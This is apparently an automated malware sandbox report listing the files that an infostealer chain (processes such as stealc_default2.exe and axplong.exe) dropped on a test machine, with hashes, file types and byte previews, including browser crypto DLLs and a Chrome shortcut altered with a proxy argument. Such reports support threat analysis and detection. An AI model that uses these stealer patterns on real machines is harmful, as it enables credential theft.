File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJDGIIDH

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJEGHDAECBFHJKEGIJKKJKKKF

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost015.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECFCGHIDHCAKEBFCFHC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: zlsXub68El.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: zlsXub68El.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Thu Oct 5 05:47:20 2023, atime=Wed Sep 27 08:36:54 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.4676686936393852
Encrypted:	false
SSDEEP:	48:8SWd5TvG90lRYrnvPdAKRkdAGdAKRFdAKR6P:8Soby7
MD5:	907BAE7534AED8EC3CD382DE9AF3462E
SHA1:	5243C5C43A7AABCAAFD04DDF93A58F3E50DE356B
SHA-256:	28D9BA7BBD3C53447027EB67F5B95456A9249AA920954613158D8C8CB9C74F89
SHA-512:	D34BD4DD249C25242E87191469A2B0106A5DB5B55F3F010338BDBE30A556AEDBE7C9F73ED462E3B1CAE0B1472C02BFEEC26841116B6401F9CEDEC723D1C3D0C3
Malicious:	false
Preview:	L..................F.@.. ......,........W....X.&&... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....EW.3..PROGRA~1..t......O.IEW.5....B...............J.......j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VEW@2....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.2..Chrome..>......CW.VEW.2....M.....................7...C.h.r.o.m.e.....`.1.....EW.2..APPLIC~1..H......CW.VEW.2..........................7...A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.L .chrome.exe..F......CW.VEW.5.........................l...c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\12dsvc.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqc85VD:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlq0
MD5:	0C1110E9B7BBBCB651A0B7568D796468
SHA1:	7AEE00407EE27655FFF0ADFBC96CF7FAD9610AAA
SHA-256:	112E21404A85963FB5DF8388F97429D6A46E9D4663435CC86267C563C0951FA2
SHA-512:	46E37552764B4E61006AB99F8C542D55B2418668B097D3C6647D306604C3D7CA3FAF34F8B4121D94B0E7168295B2ABEB7C21C3B96F37208943537B887BC81590
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\VCIo8iTrPf.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlqY
MD5:	0B2E58EF6402AD69025B36C36D16B67F
SHA1:	5ECC642327EF5E6A54B7918A4BD7B46A512BF926
SHA-256:	4B0FB8EECEAD6C835CED9E06F47D9021C2BCDB196F2D60A96FEE09391752C2D7
SHA-512:	1464106CEC5E264F8CEA7B7FF03C887DA5192A976FBC9369FC60A480A7B9DB0ED1956EFCE6FFAD2E40A790BD51FD27BB037256964BC7B4B2DA6D4D5C6B267FA1
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\cccc2.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\crypted.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	137
Entropy (8bit):	5.202653706100432
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WyMLDRJ4LNRLFS9Am12MFuAvOAsyQHxW+uCv:Q3La/xwchM3RJoDLIP12MUAvvR+uCv
MD5:	8A8F1E8A778DFF107B41EA564681FE7B
SHA1:	08EFCFDC3E33281B2B107D16B739B72AF4898041
SHA-256:	D09CDD05DA4E3E875D3D5D66C542404519759ACDA2EFA7C00CA69AA3F6234DE4
SHA-512:	A372330793E09C661E6BF8B2C293C1AF81DE77972B8B4BA47055F07BE0FCDFE5E507ADBC53903A0CD90C392B36FE4A8A41D3FEA923AD97FA061DBEF65398EDF6
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\gold.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\gold.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\newbundle2.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlqY
MD5:	0B2E58EF6402AD69025B36C36D16B67F
SHA1:	5ECC642327EF5E6A54B7918A4BD7B46A512BF926
SHA-256:	4B0FB8EECEAD6C835CED9E06F47D9021C2BCDB196F2D60A96FEE09391752C2D7
SHA-512:	1464106CEC5E264F8CEA7B7FF03C887DA5192A976FBC9369FC60A480A7B9DB0ED1956EFCE6FFAD2E40A790BD51FD27BB037256964BC7B4B2DA6D4D5C6B267FA1
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\penis.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000254001\penis.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Nework[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	425984
Entropy (8bit):	6.513416731775012
Encrypted:	false
SSDEEP:	12288:ISqMakU3v+GYLWIjD9dSbvBG5u2uQjdQco:jq53v+G4Wwub8Ljaco
MD5:	F5D7B79EE6B6DA6B50E536030BCC3B59
SHA1:	751B555A8EEDE96D55395290F60ADC43B28BA5E2
SHA-256:	2F1AFF28961BA0CE85EA0E35B8936BC387F84F459A4A1D63D964CE79E34B8459
SHA-512:	532B17CD2A6AC5172B1DDBA1E63EDD51AB53A4527204415241E3A78E8FFEB9728071BDE5AE1EEFABEFD2627F00963F8A5458668CD7B8DF041C8683252FF56B46
Malicious:	true
